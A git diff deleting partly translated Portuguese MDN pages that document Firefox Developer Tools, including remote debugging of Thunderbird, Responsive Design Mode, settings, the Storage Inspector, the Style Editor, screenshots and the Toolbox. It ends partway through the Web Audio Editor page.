- - diff --git a/files/pt-pt/tools/remote_debugging/thunderbird/index.html b/files/pt-pt/tools/remote_debugging/thunderbird/index.html deleted file mode 100644 index 8354c9ad22..0000000000 --- a/files/pt-pt/tools/remote_debugging/thunderbird/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Depurar remotamente o Thunderbird -slug: Tools/Remote_Debugging/Thunderbird -tags: - - Tutorial - - depurar - - thunderbird -translation_of: Tools/Remote_Debugging/Thunderbird -original_slug: Tools/Remote_Debugging/Depuracao_remota_Thunderbird ---- -
{{ToolsSidebar}}

This guide explains how to use remote debugging to inspect or debug code running in Thunderbird.

- -

Various developer tools are supported by Thunderbird using the remote connection mechanism in Firefox. The currently supported toolset is the Web Console, Inspector, Debugger, Style Editor, Profiler and Network Monitor. Other Tools may become available in the future.

- -

Configurar o Thunderbird

- -

All that needs to be done in Thunderbird is enabling the debugger server. This can be done using Tools from the Menu Bar (alt + Tools) and selecting Allow Remote Debugging. By default, a debugger server will be started on port 6000. If you would like to change this port, for example to debug multiple profiles, you must open the advanced config editor and change the preference devtools.debugger.remote-port.

- -

Configurar o Firefox

- -

Firefox acts as the client and provides the user interface to control the developer tools for Thunderbird. It's best to use a Firefox and Thunderbird version with a matching major version number, but in some cases it will work even with differing versions.

- -

To set up Firefox, remote debugging is enabled by a setting in the Toolbox. Open the Toolbox, click the "Settings" button in the toolbar, and check "Enable remote debugging" in the Settings tab:

- -

- -

Now you can open the connection page in Firefox via the tools menu:

- -

- -

A page will open in the browser; you can add this to your bookmarks toolbar if you like. In case you didn't change the remote port, the fields will already be filled out correctly. Click on the Connect button to initiate the developer tools remote connection.

- -

- -

Afterwards you will be presented with a list of remote tabs and processes. As Thunderbird's notion of tabs doesn't match Firefox, the remote tabs area shows all xul:browser elements in Thunderbird. This can be a content tab, or the message reader. In most cases you will want to select "Main Process" to debug the Thunderbird code itself. A new window opens containing a set of developer tools that can be used with your Thunderbird instance.

- -

- -

Utilizar as Ferramentas de Desenvolvimento

- -

Usage of the tools is mostly self explanatory. If you are having trouble with a certain tool, check the Developer Tools documentation. Due to a remote connection being used there might be some slight differences. Some tools might not be available, and it is also possible that performance is not comparable. For example, using the remote debugger tool takes quite some time to load because the files must be transferred over an internal network connection.

- -

Resolução de problemas

- -

If you encounter an error, the first thing you should check is if you are using matching version numbers. If you are using Thunderbird 24, you should also use Firefox 24 to connect. Next, it important to figure out if it is a problem with the Firefox Developer Tools or with the remote connection code in Thunderbird. To verify this, please try to reproduce the problem using only Firefox. For example, if you notice that you cannot set an attribute value in the Inspector tool, try changing an attribute in the Browser Debugger in Firefox. If you cannot reproduce it there, file a bug in the Thunderbird product, otherwise file a bug in Firefox/Developer Tools.

diff --git a/files/pt-pt/tools/responsive_design_mode/index.html b/files/pt-pt/tools/responsive_design_mode/index.html deleted file mode 100644 index 6c360e9e9d..0000000000 --- a/files/pt-pt/tools/responsive_design_mode/index.html +++ /dev/null @@ -1,215 +0,0 @@ ---- -title: Modo de Desenho Adaptável -slug: Tools/Responsive_Design_Mode -tags: - - Desenho - - Desenho Adaptável - - Desenvolvimento de Web - - Ferramentas - - Ferramentas de Desenvolvimento - - Firefox - - Guía - - l10n:priority -translation_of: Tools/Responsive_Design_Mode -original_slug: Tools/Modo_de_Desenho_Adaptavel ---- -
{{ToolsSidebar}}
- -

Desenho adaptável is the practice of designing a website so it looks and works properly on a range of different devices — particularly mobile phones and tablets as well as desktops and laptops.

- -

The most obvious factor here is screen size, but there are other factors as well, including the pixel density of the display and whether it supports touch. Responsive Design Mode gives you a simple way to simulate these factors, to test how your website will look and behave on different devices.

- -

Alternar Modo de Desenho Adaptável

- -

There are three ways to toggle Responsive Design Mode:

- -
    -
  • From the Firefox menu: Select "Responsive Design Mode" from the Web Developer submenu in the Firefox Menu (or Tools menu if you display the menu bar or are on macOS).
  • -
  • From the Developer Tools toolbox: Press the "Responsive Design Mode" button in the Toolbox's toolbar:
  • -
  • From the keyboard: Press Ctrl + Shift + M (or Cmd + Opt + M on macOS).
  • -
- -

Utilizar Modo de Desenho Adaptável

- -

With Responsive Design Mode enabled, the content area for web pages is set to the screen size for the particular device. Initially, it's set to 320 x 480 pixels.

- -

- -

You can show or hide the Developer Tools toolbox independently of toggling Responsive Design Mode itself:

- -

While Responsive Design Mode is enabled, you can continue browsing as you normally would in the resized content area.

- -

Seleção de dispositivo

- -

Just above the viewport you'll see a label "no device selected"; click this to see a list of device names. Select a device, and Responsive Design Mode will set the following properties to match the selected device:

- -
    -
  • Screen size
  • -
  • Device pixel ratio (the ratio of device physical pixels to device-independent pixels)
  • -
  • Touch event simulation
  • -
- -

Additionally, Firefox will set the User-Agent HTTP request header to identify itself as the default browser on the selected device. For example, if you've selected an iPhone, then Firefox will identify itself as Safari. The navigator.userAgent property will be set to the same value.

- -

{{EmbedYouTube("JNAyKemudv0")}}

- -

The devices listed in the drop-down are just a subset of the devices that can be selected. At the end of the drop-down, you'll see an item labeled "Edit list...". Select this to see a panel containing all the choices, which enables you to check the devices you want to see in the drop-down. The set of devices, and the values associated with each device, are taken from https://github.com/mozilla/simulated-devices.

- -

Guardar dispositivos personalizados

- -

Starting in Firefox 54, you can save custom devices in Responsive Design Mode. Each device can have its own:

- -
    -
  • Size
  • -
  • DevicePixelRatio
  • -
  • User agent
  • -
  • Touch support
  • -
- -

Also, you can preview the properties of existing devices by hovering over the name in the device modal where they will display in a tooltip.

- -

- -

Controlos de dispositivo

- -

You can also supply custom values for most device properties.

- -

Definir tamanho do ecrã

- -

To set screen size, click on the values under the viewport, and edit them:

- -

- -

You can also grab the bottom-left corner of the viewport and drag the viewport to the size you want.

- -

And from Firefox 59 onward, you can now edit the screen size with the keyboard. When you are focused on (or your caret is within) either of the two dimension values, you can press or hold down the up and down cursor keys to increase or decrease the dimension value by 1 pixel each time.

- -

If you want to change the dimensions more rapidly, you can hold down the Shift key, then press or hold down the up and down cursor keys to increase or decrease the dimension value by 10 pixels each time.

- -

Definir proporção do píxel do dispositivo

- -

To set a custom device pixel ratio, click the list box labeled "DPR" and select the value you want:

- -

- -

Alternar simulação do evento de toque

- -

To enable/disable touch event simulation, click the icon of a hand with a pointy finger:

- -

While touch event simulation is enabled, mouse events are translated into touch events.

- -

Controlar o comportamento de recarregar a página

- -

New in Firefox 60 is the Reload when... drop-down menu:

- -

- -

Clicking it reveals two options, both of which are disabled by default:

- -
    -
  • Reload when touch simulation is toggled: Checking this checkbox causes an automatic page reload whenever touch event simulation is enabled.
  • -
  • Reload when user agent is changed: Checking this checkbox causes an automatic page reload whenever the user agent is changed.
  • -
- -

Before Firefox 60, such reloads occurred automatically because certain page behaviors would otherwise not be applied. For example, many pages check for touch support on load and only add event handlers if it is supported, or only enable certain features on certain browsers.

- -

However, if you are not interested in examining such features (maybe you are just checking the overall layout at different sizes), these reloads can waste time and possibly result in the loss of productive work, so it is useful to be able to control these reloads.

- -

Now when you change such settings for the first time, you'll be given a warning message that tells you these reloads are no longer automatic, and informed about how you can make them automatic. For example:

- -

- -

Alternar orientação

- -

To switch the screen orientation between portrait and landscape, click the icon next to the device selector:

- -

- -

Acelerar a rede

- -

If you do all your development and testing using a very fast network connection, you may see problems with your site as soon as it's accessed using a slower connection. In Responsive Design Mode you can instruct the browser to emulate, very approximately, the characteristics of various different types of networks.

- -

The characteristics emulated are:

- -
    -
  • Download speed
  • -
  • Upload speed
  • -
  • Minimum latency
  • -
- -

The table below lists the numbers associated with each network type, but please do not rely on this feature for exact performance measurements; it's intended to give an approximate idea of the user experience in different conditions.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SelectionDownload speedUpload speedMinimum latency (ms)
GPRS50 KB/s20 KB/s500
Regular 2G250 KB/s50 KB/s300
Good 2G450 KB/s150 KB/s150
Regular 3G750 KB/s250 KB/s100
Good 3G1.5 MB/s750 KB/s40
Regular 4G/LTE4 MB/s3 MB/s20
DSL2 MB/s1 MB/s5
Wi-Fi30 MB/s15 MB/s2
- -

To select a network, click the list box that's initially labeled "No throttling":

- -

- -

Capturar Ecrã

- -

To take a screenshot of the viewport, click the camera icon:

- -

- -

Screenshots are saved to Firefox's default download location.

- -

Starting in Firefox 53, if you checked "Screenshot to clipboard" in the Developer Tools Settings page, then the screenshot will also be copied to the system clipboard.

diff --git a/files/pt-pt/tools/settings/index.html b/files/pt-pt/tools/settings/index.html deleted file mode 100644 index 2f76fb3b10..0000000000 --- a/files/pt-pt/tools/settings/index.html +++ /dev/null @@ -1,245 +0,0 @@ ---- -title: Configurações -slug: Tools/Settings -translation_of: Tools/Settings -original_slug: Tools/Configurações ---- -
{{ToolsSidebar}}

Abrir as Configurações

- -

Para ver o painel das 'Configurações das Ferramentas de Desenvolviemtno', abra quaisquer 'Ferramentas de Desenvolvimento', e depois:

- -
    -
  • either click the "Settings" button () in the Toolbox toolbar:
  • -
  • or press F1 to toggle between the active tool and the Settings pane
  • -
  • or press Ctrl/Cmd+Shift+O to toggle between the active tool and the Settings pane
  • -
- -

The Settings pane looks something like this:

- -

Depicts the Toolbox options

- -

Categorias

- -

Default Firefox Developer Tools

- -

This group of checkboxes determines which tools are enabled in the toolbox. New tools are often included in Firefox but not enabled by default.

- -

Botões Disponíveis da Caixa de Ferramentas

- -

This group of checkboxes determines which tools get an icon in the Toolbox's toolbar.

- -

Note that in Firefox 52 we removed the checkbox to toggle the "Select element" button. The "Select element" button is now always shown.

- -

Temas

- -

This enables you to choose one of three different themes.

- -

There's a light theme, which is the default:

- -

Light theme for DevTools

- -

A dark theme (the default on Firefox Developer Edition):

- -

Dark theme for DevTools

- -

There's also a Firebug theme that looks like the Firebug extension, letting you feel at home if you're used to Firebug:

- -

Firebug theme for DevTools

- -

Preferências comuns

- -

Settings that apply to more than one tool. There's just one of these:

- -
-
Enable persistent logs
-
A setting to control whether or not the Web Console and Network Monitor clear their output when you navigate to a new page.
-
- -

Inspetor

- -
-
Show browser styles
-
A setting to control whether styles applied by the browser (user-agent styles) should be displayed in the Inspector's Rules view. Note that this setting is independent of the "Browser styles" checkbox in the Inspector's Computed view.
-
Truncate DOM attributes
-
By default, the Inspector truncates DOM attributes that are more than 120 characters long. Uncheck this box to prevent this behavior. This setting works by toggling the about:config preference "devtools.markup.collapseAttributes". To change the threshold at which attributes are truncated, you can edit the about:config preference "devtools.markup.collapseAttributeLength".
-
Default color unit
-
A setting to control how colors are represented in the inspector: -
    -
  • Hex
  • -
  • HSL(A)
  • -
  • RGB(A)
  • -
  • color name
  • -
  • As authored.
  • -
-
-
Enable layout panel
-
Enable the experimental layout panel. This setting only exists in Firefox Nightly.
-
- -

Consola da Web

- -
-
Enable timestamps
-
Controls whether the Web Console displays timestamps. The Web Console defaults to hiding timestamps.
-
Enable new console frontend
-
Switch to the experimental new console. This setting only exists in Firefox Nightly.
-
- -

Depurador

- -
-
Enable Source Maps
-
Enable source map support in the debugger.
-
Enable new debugger frontend
-
Enable the new debugger. This setting only exists in Firefox Nightly.
-
- -

Editor de Estilo

- -
-
Show original sources
-
When a CSS preprocessor supporting source maps is used, this enables the Style Editor to display the original, preprocessor, sources rather than the generated CSS. Learn more about Style Editor support for CSS source maps. With this setting checked, the Page Inspector Rules view will also provide links to the original sources.
-
Autocomplete CSS
-
Enable the Style Editor to offer autocomplete suggestions.
-
- -

Comportamento da Captura de Ecrã

- -
-
Screenshot to clipboard
-
When you click the icon for the Screenshot tool, copy the screenshot image to the clipboard (the image will still be saved to your Downloads directory). New in Firefox 53.
-
Play camera shutter sound
-
When you click the icon for the Screenshot tool, play a shutter sound. New in Firefox 53.
-
- -

Preferências do Editor

- -

Preferences for the CodeMirror source editor, which is included in Firefox and used by several developer tools, including Scratchpad and the Style Editor.

- -
-
Detect indentation
-
Auto-indent new lines based on the current indentation.
-
Autoclose brackets
-
 
-
Indent using spaces
-
 
-
Tab size
-
 
-
Keybindings
-
Choose the default CodeMirror keybindings, or keybindings from one of several popular editors: -
    -
  • Vim
  • -
  • Emacs
  • -
  • Sublime Text
  • -
-
-
- -

Configurações avançadas

- -
-
Show Gecko platform data
-
A setting to control whether or not profiles should include Gecko platform symbols.
-
- -
-
Disable HTTP Cache
-
Disable the browser HTTP cache to simulate first-load performance in all tabs that have the Toolbox open. This setting persists, meaning that if it is set, caching will be disabled whenever you reopen the devtools. Caching is re-enabled when the devtools are closed. Note that service workers are not affected by this option. -
Note that this option was called "Disable Cache" in Firefox versions previous to 49, but it was renamed to make it clearer that this affects the HTTP cache, and not Service Workers/the Cache API.
-
-
Disable JavaScript
-
Reload the current tab with JavaScript disabled.
-
Enable Service Workers over HTTP
-
Enable Service Worker registrations from insecure websites.
-
Enable browser chrome and add-on debugging toolboxes
-
Enable you to use developer tools in the context of the browser itself, and not only web content.
-
Enable remote debugging
-
Enable the developer tools to debug remote Firefox instances.
-
Enable worker debugging
-
Enable a panel within the debugger to debug workers. -

Nota: This option got removed from the UI in Firefox 56, because this version ships with a new Debugger UI, but it can still be enabled for the old UI by setting the preference devtools.debugger.workers to true.

-
-
- -
- - - - - -
diff --git a/files/pt-pt/tools/storage_inspector/index.html b/files/pt-pt/tools/storage_inspector/index.html deleted file mode 100644 index bd2abc33e6..0000000000 --- a/files/pt-pt/tools/storage_inspector/index.html +++ /dev/null @@ -1,193 +0,0 @@ ---- -title: Inspetor de Armazenamento -slug: Tools/Storage_Inspector -tags: - - Armazenamento - - Armazenamento Local - - Armazenamento da Sessão - - BD Indexada - - Cookies - - Ferramentas - - Ferramentas do Programador - - Firefox - - Guia(2) -translation_of: Tools/Storage_Inspector -original_slug: Tools/Inspetor_de_armazenamento ---- -
{{ToolsSidebar}}
-

The Storage Inspector is disabled by default. Enable it in the Developer Tools Settings.

-
- -

The Storage Inspector enables you to inspect various types of storage that a web page can use. Currently it can be used to inspect the following storage types:

- -
    -
  • Cache Storage - any DOM caches created using the Cache API.
  • -
  • Cookies - All the cookies created by the page or any iframes inside of the page. Cookies created as a part of response of network calls are also listed, but only for calls that happened while the tool is open.
  • -
  • Local Storage - All local storage items created by the page or any iframes inside the page.
  • -
  • Session Storage - All session storage items created by the page or any iframes inside the page.
  • -
  • IndexedDB - All IndexedDB databases created by the page or any iframes inside the page, their Object Stores and the items stored in these Object Stores.
  • -
- -

For the time being, the Storage Inspector only gives you a read-only view of storage. But we're working to let you edit storage contents in future releases.

- -

Abrir o Inspetor de Armazenamento

- -

Once enabled, you can open the Storage Inspector by selecting "Storage Inspector" from the Web Developer submenu in the Firefox Menu Panel (or Tools menu if you display the menu bar or are on Mac OS X), or by pressing its Shift + F9 keyboard shortcut.

- -

The Toolbox will appear at the bottom of the browser window, with the Storage Inspector activated. It's just called "Storage" in the Developer Toolbox.

- -

- -

Interface do Utilizador do Inspetor de Armazenamento

- -

The Storage Inspector UI is split into three main components:

- - - -

- -

Árvore de armazenamento

- -

The storage tree lists all the storage types that the Storage Inspector can inspect:

- -

- -

Under each type, objects are organized by origin. For cookies, the protocol does not differentiate the origin. For Indexed DB or local storage an origin is a combination of protocol + hostname. For example, "http://mozilla.org" and "https://mozilla.org" are two different origins so local storage items cannot be shared between them.

- -

Under "Cache Storage", objects are organized by origin and then by the name of the cache:

- -

- -

IndexedDB objects are organized by origin, then by database name, then by object store name:

- -

- -

With the Cookies, Local Storage, and Session Storage types, there's only one level in the hierarchy, so stored items are listed directly under each origin:

- -

- -

You can click on each item in the tree to expand or collapse its children. The tree is live, so if a new origin gets added (by adding an iframe, for example), it will be added to each storage type automatically.

- -

Clicking on a tree item will display detailed information about that item in the Table Widget on the right. For example, clicking on an origin which is a child of the Cookies storage type will show all the cookies belonging to that domain.

- -

Table Widget

- -

The table widget is the place where all the items corresponding to the selected tree item (be it an origin, or database) are listed. Depending on the storage type and tree item, the number of columns in the table might differ.

- -

All the columns in a Table Widget are resizable. You can hide and show columns by context-clicking on the table header and selecting the columns you want to see:

- -

- -

Procura

- -

There's a search box at the top of the Table Widget:

- -

- -

This filters the table to show only items which match the search term. Items match the search term if any of their fields (including fields whose columns you have hidden) contain the search term.

- -

From Firefox 50 onwards, you can use Ctrl+F (Cmd+F on a Mac) to focus the search box.

- -

Barra lateral

- -

When you select any row in the Storage table widget, the sidebar is shown with details about that row. If a cookie is selected, it will list all the details about that cookie.

- -

The sidebar can parse the value of the cookie or local storage item or an IndexedDB item and convert it into a meaningful object instead of just a string. For example:

- -
    -
  • A stringified JSON like '{"foo": "bar"}' is shown as the origin JSON: {foo: "bar"}.
  • -
  • A string containing a key separated value, like "1~2~3~4" or "1=2=3=4" is shown like an array: [1, 2, 3, 4].
  • -
  • A string containing key-value pairs, like "ID=1234:foo=bar" is shown as JSON: {ID:1234, foo: "bar"}.
  • -
- -

The shown values can also be filtered using the search box at the top of the sidebar.

- -

Cache de Armazenamento

- -

Under the Cache Storage type you can see the contents of any DOM caches created using the Cache API. If you select a cache, you'll see a list of the resources it contains. For each resource, you'll see:

- -
    -
  • the URL for the resource
  • -
  • the status code for the request that was made to fetch it.
  • -
- -

- -

Cookies

- -

When you select an origin inside the Cookies storage type from the storage tree, all the cookies present for that origin will be listed in the table widget. The table then has the following columns:

- -
    -
  • Name - The name of the cookie
  • -
  • Path - The path property of the cookie
  • -
  • Domain - The domain of the cookie
  • -
  • Expires on - The time when the cookie will expire. If the cookie is a session cookie, the value of this column will be "Session"
  • -
  • Last accessed on - When the cookie was last read
  • -
  • Value - The value of the cookie
  • -
  • HostOnly - Is this cookie a domain cookie: that is, the domain value starts with a "."
  • -
  • Secure - Is this cookie a secure cookie
  • -
  • HttpOnly - Is this cookie HTTP only.
  • -
- -
-

Note: Before Firefox 51 the columns HostOnly, Secure and HttpOnly were called isDomain, isSecure and isHttpOnly.

-
- -

You can edit cookies by double-clicking inside cells in the Table Widget and editing the values they contain.

- -

You can also delete cookies using the context menu:

- -

- -

Armazenamento local / Armazenamento da sessão

- -

When an origin corresponding to local storage or session storage is selected, the table will list the name and value of all the items corresponding to local storage or session storage.

- -

You can edit local and session storage items by double-clicking inside cells in the Table Widget and editing the values they contain:

- -

{{EmbedYouTube("oeQzhpoMByw")}}

- -

You can also delete local storage and session storage entries using the context menu:

- -

- -

BD Indexada

- -

When you select an origin inside the Indexed DB storage type in the storage tree, the table lists the details of all the databases present for that origin. Databases have the following details:

- -
    -
  • Database Name - The name of the database
  • -
  • Storage - The storage type specified for the database (new in Firefox 53)
  • -
  • Origin - Its origin
  • -
  • Version - The database version
  • -
  • Object Stores - Number of object stores in the database
  • -
- -

When an IndexedDB database is selected in the storage tree, details about all the object stores are listed in the table. Any object store has the following details:

- -
    -
  • Object Store Name - The name of the object store
  • -
  • Key - The keyPath property of the object store.
  • -
  • Auto Increment - Whether auto increment is enabled
  • -
  • Indexes - Array of indexes present in the object store as shown below
  • -
- -

- -

When an object store is selected in the storage tree, all the items in that object store are listed in the table. All items have a key and a value associated with them.

- -

From Firefox 49 onwards, you can delete an IndexedDB database using the context menu in the Storage tree view:

- -

- -

If the database cannot be deleted (most commonly because there are still active connections to the database), a warning message will be displayed in the Storage Inspector:

- -

From Firefox 50 onwards, you can use the context menu in the table widget to delete all items in an object store, or a particular item:

- -

- -

 

diff --git a/files/pt-pt/tools/style_editor/index.html b/files/pt-pt/tools/style_editor/index.html deleted file mode 100644 index 1e1c15b7a3..0000000000 --- a/files/pt-pt/tools/style_editor/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: Editor de Estilo -slug: Tools/Style_Editor -tags: - - CSS - - Desenvolvimento da Web - - 'Desenvolvimento da Web: Ferramentas' - - Ferramentas - - Folhas de estilo -translation_of: Tools/Style_Editor -original_slug: Tools/Editor_de_estilo ---- -
{{ToolsSidebar}}

O Editor de Estilo permite-lhe:

- -
    -
  • view and edit all the stylesheets associated with a page
  • -
  • create new stylesheets from scratch and apply them to the page
  • -
  • import existing stylesheets and apply them to the page
  • -
- -

{{EmbedYouTube("7839qc55r7o")}}

- -

To open the Style Editor choose the "Style Editor" option from the "Web Developer" menu (which is a submenu in the "Tools" menu on the Mac). The Toolbox will appear at the bottom of the browser window, with the Style Editor activated:

- -

- -

O Editor de Estilo está dividido em três secções principais:

- - - -

O painel de folha de estilo

- -

The style sheet pane, on the left, lists all the style sheets being used by the current document. You can quickly toggle the use of a given sheet on and off by clicking the eyeball icon to the left of the sheet's name. You can save any changes you've made to the style sheet to your local computer by clicking the Save button in the bottom-right corner of each sheet's entry in the list.

- -

From Firefox 40 onwards, the style sheet pane also includes a context menu that lets you open the selected style sheet in a new tab.

- -

O painel do editor

- -

On the right is the editor pane. This is where the source for the selected style sheet is available for you to read and edit. Any changes you make are immediately applied to the page. This makes it easy to experiment with, revise, and test changes. Once you're satisfied with your changes, you can save a copy locally by clicking the Save button on the sheet's entry in the style sheet pane.

- -

The editor provides line numbers and syntax highlighting to help make it easier to read your CSS. It also supports a number of keyboard shortcuts.

- -

The Style Editor automatically de-minimizes style sheets that it detects, without affecting the original. This makes it much easier to work on pages that have been optimized.

- -

The Style Editor supports autocomplete. Just start typing, and it will offer you a list of suggestions.

- -

You can switch autocomplete off in the Style Editor settings.

- -

A barra lateral de multimédia

- -

The Style Editor displays a sidebar on the right-hand side whenever the current sheet contains any @media rules. The sidebar lists the rules and provides a link to the line of the sheet where the rule is defined. Click an item to jump to that rule in the sheet. The condition text of the rule is greyed-out if the media query doesn’t currently apply.

- -

The media sidebar works especially well with Responsive Design View for creating and debugging responsive layouts:

- -

{{EmbedYouTube("aVUXmvLSwoM")}}

- -

From Firefox 46 onwards, if an @media rule contains a screen size in a condition, then it is made clickable: clicking it then resizes the screen to that size using the Responsive Design View:

- -

{{EmbedYouTube("XeocxoW2NYY")}}

- -

Criação e importação das folhas de estilo

- -

You can create a new style sheet by clicking the New button in the toolbar. Then you can just start entering CSS into the new editor and watch as the new styles are applied in real time just like changes to the other sheets.

- -

You can load a style sheet from disk and apply it to the page by clicking the Import button.

- -

Source map support

- -

{{EmbedYouTube("zu2eZbYtEUQ")}}

- -

Web developers often create CSS files using a preprocessor like Sass, Less, or Stylus. These tools generate CSS files from a richer and more expressive syntax. If you do this, being able to see and edit the generated CSS is not so useful, because the code you maintain is the preprocessor syntax, not the generated CSS. So you'd need to edit the generated CSS, then manually work out how to reapply that to the original source.

- -

Source maps enable the tools to map back from the generated CSS to the original syntax, so they can display, and allow you to edit, files in the original syntax. From Firefox 29 onwards, the Style Editor can understand CSS source maps.

- -

This means that if you use, for example, Sass, then the Style Editor will show you, and allow you to edit, Sass files, rather than the CSS that is generated from them:

- -

For this to work, you must:

- -
    -
  • use a CSS preprocessor that understands the Source Map Revision 3 proposal. Currently this means Sass 3.3.0 or above or the 1.5.0 version of Less. Other preprocessors are actively working on adding support, or considering it.
  • -
  • actually instruct the preprocessor to generate a source map, for example by passing the --sourcemap argument to the Sass command-line tool
  • -
- -

Visualização das fontes originais

- -

Now, if you check "Show original sources" in the Style Editor settings, the links next to CSS rules in the Rules view will link to the original sources in the Style Editor.

- -

From Firefox 35 onwards original sources are displayed by default.

- -

Edição das fontes originais

- -

You can also edit the original sources in the Style Editor and see the results applied to the page immediately. To get this to work there are two extra steps.

- -

First, set up your preprocessor so it watches the original source and automatically regenerates the CSS when the source changes. With Sass you can do this simply by passing the --watch option:

- -
sass index.scss:index.css --sourcemap --watch
- -

Next, save the original source in the Style Editor by clicking the "Save" button next to the file, and saving it over the original file.

- -

Now when you make changes to the source file in the Style Editor the CSS is regenerated and you can see the changes right away.

- -

Atalhos de teclado

- -

Source editor shortcuts

- -

{{ Page ("en-US/docs/tools/Keyboard_shortcuts", "source-editor") }}

- -

{{ languages( { "ja": "ja/Tools/Style_Editor"} ) }}

diff --git a/files/pt-pt/tools/taking_screenshots/index.html b/files/pt-pt/tools/taking_screenshots/index.html deleted file mode 100644 index 52eff5ef0f..0000000000 --- a/files/pt-pt/tools/taking_screenshots/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Capturas de ecrã -slug: Tools/Taking_screenshots -tags: - - Ferramentas -translation_of: Tools/Taking_screenshots -original_slug: Tools/Capturas_de_ecra ---- -
{{ToolsSidebar}}

You can use the Developer Tools to take a screenshot of the entire page, or of a single element in the page.

- -

Efetuar capturas de ecrã de uma página

- -

Use the screenshot icon: to take a full-page screenshot of the current page.

- -

By default, the screenshot icon is not enabled. To enable it:

- -
    -
  • visit the Settings page
  • -
  • find the section labeled "Available Toolbox Buttons"
  • -
  • check the box labeled "Take a screenshot of the entire page".
  • -
- -

You'll now see the icon in the toolbar:

- -

{{EmbedYouTube("KB5V9uJgcS4")}}

- -

Click the icon to take a screenshot of the current page. The screenshot is saved to your browser's "Downloads" directory:

- -

{{EmbedYouTube("HKS6MofdXVE")}}

- -

Efetuar uma captura de ecrã de um elemento

- -

To take a screenshot of a single element in the page, activate the context menu on that element in the Inspector's HTML pane, and select "Screenshot Node". The screenshot is saved to the browser's "Downloads" directory:

- -

{{EmbedYouTube("p2pjF_BrE1o")}}

- -

Copiar capturas de ecrã para a área de transferência

- -

From Firefox 53, you can also copy the screenshot to the clipboard. Just check the box in Settings labeled "Screenshot to clipboard":

- -

{{EmbedYouTube("AZedFGh6F78")}}

- -

Now, whenever you take a screenshot, the screenshot is also copied to the clipboard.

diff --git a/files/pt-pt/tools/tools_toolbox/index.html b/files/pt-pt/tools/tools_toolbox/index.html deleted file mode 100644 index f1fd212ad2..0000000000 --- a/files/pt-pt/tools/tools_toolbox/index.html +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: Caixa de Ferramentas -slug: Tools/Tools_Toolbox -translation_of: Tools/Tools_Toolbox ---- -
{{ToolsSidebar}}

A 'Caixa de Ferramentas' fornece um único local para a maioria das ferramentas de desenvolvimento que são criadas para o Firefox.

- -

There are a few different ways to open the Toolbox:

- -
    -
  • select "Toggle Tools" from the Web Developer menu (under "Tools" on OS X and Linux, or "Firefox" on Windows)
  • -
  • click the wrench icon (), which is in the main toolbar or under the Hamburger menu (), then select "Toggle Tools"
  • -
  • activate any tool hosted in the Toolbox (for example, the JavaScript Debugger or the Page Inspector)
  • -
  • press Ctrl + Shift + I on Windows and Linux, or Cmd + Opt + I on OS X. See also keyboard shortcuts.
  • -
- -

Por predefinição, a Caixa de Ferramentas aparece anexada na base da janela do navegador, mas também pode desanexá-la se desejar. É assim que esta aparece quando está anexada:

- -

A janela é dividida em duas partes: uma barra de ferramentas no topo, e um painel principal por debaixo:

- -

- -

Modo de anexação

- -

Por predefinição, a Caixa de Ferramentas aparece anexada na base da janela do navegador, mas também pode anexá-la no lado direito da janela, ou utilizá-la numa janela independente, utilizando os botões na barra de ferramentas.

- -

Barra de Ferramentas

- -

The toolbar contains controls to activate a particular tool, to dock/float the window, and to close the window.

- -

- -

Selecionador de Nodo

- -

On the far left there's a button to activate the node picker. This lets you select a page element for inspection. See "Selecting elements".

- -

Ferramentas hospedadas na Caixa de Ferramentas

- -

Then there is an array of labeled buttons which enables you to switch between the different tools hosted by the Toolbox. The array may include the following tools:

- - - -

Note that not all the hosted tools are always listed here: only the tools actually available in this context are shown (for example, not all tools support remote debugging yet, so if the debugging target is not the Firefox instance that launched the window, not all the hosted tools will be shown).

- -

Ferramentas extra

- -

Next there's an array of buttons that can be added or removed in the developer tool settings. By default this array includes:

- - - -

The following tools are not included in the toolbar by default, but you can add them in the settings:

- - - -

Controlos da caixa de ferramentas

- -

Finally there's a row of buttons to:

- -
    -
  • close the window
  • -
  • toggle the window between attached to the bottom of the browser window, and attached to the side of the browser window
  • -
  • toggle the window between standalone and attached to the browser window
  • -
  • access developer tool settings
  • -
- -

Configurações

- -

See the separate page on the Developer Tools Settings.

- -

Painel Principal

- -

The content of the main pane in the window is entirely controlled by, and specific to, the hosted tool currently selected.

- -

Atalhos de teclado

- -

{{ Page ("en-US/docs/tools/Keyboard_shortcuts", "toolbox-shortcuts") }}

- -

{{ Page ("en-US/docs/tools/Keyboard_shortcuts", "all-toolbox-tools") }}

- -
- - - - - -
diff --git a/files/pt-pt/tools/web_audio_editor/index.html b/files/pt-pt/tools/web_audio_editor/index.html deleted file mode 100644 index 947ff62d62..0000000000 --- a/files/pt-pt/tools/web_audio_editor/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Editor de Áudio da Web -slug: Tools/Web_Audio_Editor -tags: - - API Áudio Web - - Ferramentas - - Firefox - - Mozilla -translation_of: Tools/Web_Audio_Editor -original_slug: Tools/Editor_de_audio_da_Web ---- -
{{ToolsSidebar}}

With the Web Audio API, developers create an {{domxref ("AudioContext", "audio context")}}. Within that context they then construct a number of {{domxref ("AudioNode", "audio nodes")}}, including:

- - - -

Each node has zero or more {{domxref ("AudioParam")}} properties that configure its operation. For example, the {{domxref ("GainNode")}} has a single gain property, while the {{domxref ("OscillatorNode")}} has frequency and detune properties.

- -

The developer connects the nodes in a graph, and the complete graph defines the behavior of the audio stream.

- -

The Web Audio Editor examines an audio context constructed in the page and provides a visualization of its graph. This gives you a high-level view of its operation, and enables you to ensure that all the nodes are connected in the way you expect. You can then examine and edit the AudioParam properties for each node in the graph. Some non-AudioParam properties, like an OscillatorNode's type property, are displayed, and you can edit these as well.

- -

This tool is still experimental. If you find bugs, we'd love it if you filed them in Bugzilla. If you have feedback or suggestions for new features, dev-developer-tools or Twitter are great places to register them.

- -

Abrir o Editor de Áudio da Web

- -

The Web Audio Editor is not enabled by default in Firefox 32. To enable it, open the Developer Tool Settings and check "Web Audio". Now there should be an extra tab in the Toolbox toolbar labeled "Web Audio". Click the tab and load a page that constructs an audio context. Two good demos are:

- -
    -
  • the Voice-change-O-Matic, which can apply various effects to the microphone input and also provides a visualisation of the result
  • -
  • the Violent Theremin, which changes the pitch and volume of a sine wave as you move the mouse pointer
